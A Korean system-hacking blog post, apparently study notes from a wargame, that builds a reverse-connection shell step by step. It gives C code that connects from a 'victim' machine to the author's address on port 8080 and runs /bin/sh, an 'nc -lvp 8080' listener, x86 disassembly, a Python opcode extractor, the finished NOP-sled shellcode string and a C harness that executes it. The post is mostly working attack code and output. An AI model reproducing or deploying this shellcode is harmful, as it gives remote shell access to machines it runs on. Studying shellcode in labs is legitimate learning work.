lob에서 만들어봄. c 코드 예제.
#include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <unistd.h> #include <errno.h> int main(int argc, char **argv) { struct sockaddr_in serveraddr; int server_sockfd; int client_len; char buf[80],rbuf[80], *cmdBuf[2]={"/bin/sh",(char *)0}; server_sockfd = socket(AF_INET, SOCK_STREAM, 6); serveraddr.sin_family = AF_INET; serveraddr.sin_addr.s_addr = inet_addr("192.168.219.143"); //192.168.219.143은 내 주소. victim에서 내쪽으로 연결을 함. serveraddr.sin_port = htons(atoi("8080")); //victim에서 나의 8080번 포트로 접속 client_len = sizeof(serveraddr); connect(server_sockfd, (struct sockaddr*)&serveraddr, client_len); dup2(server_sockfd, 0); dup2(server_sockfd, 1); dup2(server_sockfd, 2); execve("/bin/sh",cmdBuf,0); }
nc같은걸로 nc -lvp 8080으로 8080포트를 열어놓고 희생자의 컴퓨터에서 저 코드를 실행시키면 나한테 연결이 오며 쉘이 실행된다. 이제 저걸 쉘코드로 만들어야된다. 앞의 일반 쉘코드를 만드는것처럼 하면 된다고 한다.(근데 직접 만드는건 불가능일듯... 주소하고 포트만 바꿔서 써야될거같음.)
# -*- encoding: cp949 -*- import struct def ip_to_decimal(ip): #아이피 주소를 그냥 넣기좋은 16진수로 만들어줌. 어셈에서 0x~~형식으로 넣는데 0x대신 변환된 값 넣으면 된다. ip = int(''.join(map(lambda x:'%08d' %int(bin(int(x))[2:]),ip.split('.'))),2) ip = struct.unpack("<I", struct.pack(">I", ip))[0] print '0x%08x' %ip ip_to_decimal('192.168.219.143')
어셈블리어로 바꾸면
이렇게 되는데 이걸 가져다가 (소스이름 myreverse.s)
as -o myreverse.o myreverse.s
ld -o myreverse myreverse.o
처럼 컴파일해서 myreverse가 위의 c코드처럼 작동하는지 확인 후 OPCODE로 만들면 된다. (objdump -d ./myreverse)
그런다음 중간에 opcode만 뽑아내면 되는데 너무 길다. 그래서 이전에 만들어두었던 코드를 써야겠는데
import re,string,os lines = """ ./my2: file format elf32-i386 Disassembly of section .text: 08048074 <_start>: 8048074: 31 c0 xor %eax,%eax 8048076: 31 db xor %ebx,%ebx 8048078: 31 c9 xor %ecx,%ecx 804807a: 51 push %ecx 804807b: b1 06 mov $0x6,%cl 804807d: 51 push %ecx 804807e: b1 01 mov $0x1,%cl 8048080: 51 push %ecx 8048081: b1 02 mov $0x2,%cl 8048083: 51 push %ecx 8048084: 89 e1 mov %esp,%ecx 8048086: b3 01 mov $0x1,%bl 8048088: b0 66 mov $0x66,%al 804808a: cd 80 int $0x80 804808c: 89 c2 mov %eax,%edx 804808e: 31 c0 xor %eax,%eax 8048090: 31 c9 xor %ecx,%ecx 8048092: 51 push %ecx 8048093: 51 push %ecx 8048094: 68 c0 a8 db 8f push $0x8fdba8c0 8048099: 66 68 1f 90 pushw $0x901f 804809d: b1 02 mov $0x2,%cl 804809f: 66 51 push %cx 80480a1: 89 e7 mov %esp,%edi 80480a3: b3 10 mov $0x10,%bl 80480a5: 53 push %ebx 80480a6: 57 push %edi 80480a7: 52 push %edx 80480a8: 89 e1 mov %esp,%ecx 80480aa: b3 03 mov $0x3,%bl 80480ac: b0 66 mov $0x66,%al 80480ae: cd 80 int $0x80 80480b0: 31 c0 xor %eax,%eax 80480b2: b0 3f mov $0x3f,%al 80480b4: 89 d3 mov %edx,%ebx 80480b6: 31 c9 xor %ecx,%ecx 80480b8: cd 80 int $0x80 80480ba: 31 c0 xor %eax,%eax 80480bc: b0 3f mov $0x3f,%al 80480be: 89 d3 mov %edx,%ebx 80480c0: b1 01 mov $0x1,%cl 80480c2: cd 80 int $0x80 80480c4: 31 c0 xor %eax,%eax 80480c6: b0 3f mov $0x3f,%al 80480c8: 89 d3 mov %edx,%ebx 80480ca: b1 02 mov $0x2,%cl 80480cc: cd 80 int $0x80 80480ce: 31 c0 xor %eax,%eax 80480d0: 31 d2 xor %edx,%edx 80480d2: b0 0b mov $0xb,%al 80480d4: 52 push %edx 80480d5: 68 2f 2f 73 68 push $0x68732f2f 80480da: 68 2f 62 69 6e push $0x6e69622f 80480df: 89 e3 mov %esp,%ebx 80480e1: 52 push %edx 80480e2: 53 push %ebx 80480e3: 89 e1 mov %esp,%ecx 80480e5: cd 80 int $0x80 """.split('\n') answer = '' for s in lines: try: answer += re.findall("[0-9a-z]+:\s+(.*?)\s+[a-z]+\s+[\%\$]",s)[0]+' ' except: pass answer = hex(144)*20+" "+answer answer = string.rstrip(answer) answer = string.replace(answer,"0x"," ").replace(' ','\\x') print answer
일단 만들어지기는 만들어지는데 요렇게 나온다. (192.168.219.143의 8080포트로 리버스 커넥션 쉘을 만드는 쉘코드.)
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc2\x31\xc0\x31\xc9\x51\x51\x68\xc0\xa8\xdb\x8f\x66\x68\x1f\x90\xb1\x02\x66\x51\x89\xe7\xb3\x10\x53\x57\x52\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\x31\xc9\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xb1\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xb1\x02\xcd\x80\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80
이걸 다시 c언어에 넣어서 잘되는지 테스트해보면 잘되는걸 확인할수있다.
#include <stdio.h> #include <string.h> char shell[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc2\x31\xc0\x31\xc9\x51\x51\x68\xc0\xa8\xdb\x8f\x66\x68\x1f\x90\xb1\x02\x66\x51\x89\xe7\xb3\x10\x53\x57\x52\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\x31\xc9\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xb1\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xb1\x02\xcd\x80\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"; int main() { printf("shell len = %d\n",strlen(shell)); (*(void (*)()) shell)(); }
'systemhacking > background' 카테고리의 다른 글
mprotect (메모리 권한 변경) (0) | 2015.02.10 |
---|---|
linux background 2 (binary hacks) (0) | 2015.02.08 |
linux background 1 (binary hacks) (0) | 2015.02.06 |
system 기본 용어들 (0) | 2015.02.04 |
쉘코드 제작, dumpcode (0) | 2014.12.29 |